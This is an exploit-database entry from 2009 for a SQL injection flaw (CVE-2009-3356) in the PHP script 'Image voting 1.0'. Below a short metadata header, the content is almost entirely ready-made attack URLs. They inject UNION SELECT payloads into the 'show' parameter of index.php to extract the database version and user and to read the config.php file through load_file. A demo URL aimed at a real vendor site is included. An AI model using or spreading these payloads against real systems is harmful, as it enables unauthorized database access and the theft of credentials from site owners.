Image voting 1.0 - 'index.php?show' SQL Injection

Author: SkuLL-HackeR
type: webapps
platform: php
port: 
date_added: 2009-09-10  
date_updated:   
verified: 1  
codes: OSVDB-79607;CVE-2009-3356;OSVDB-79606;OSVDB-79605;OSVDB-58105  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 9639.txt  

###############################################################
# Image voting 1.0 Remote Sql injection
# AuTh0r : SKuLL-HacKeR
# H0ME   : WwW.Sec-Best.com & Saudihack.com & S3curity-Art.CoM
# Email  : My@Hotmail.iT
###############################################################

download script : http://www.plohni.com/wb/content/static/Download.php?file=../php/download/Image_voting_1-0.zip

exploit :

http://www.site.com/Image_voting/index.php?show=-7%20union%20select%201,version(),3,4,5--
http://www.site.com/Image_voting/index.php?show=-7%20union%20select%201,user(),3,4,5--
http://www.site.com/Image_voting/index.php?show=-7%20union%20select%201,load_file(hex directory/config.php),3,4,5--
demo :
http://www.plohni.com/wb/content/php/demos/Image_voting/index.php?show=-7%20union%20select%201,version(),3,4,5--

# milw0rm.com [2009-09-11]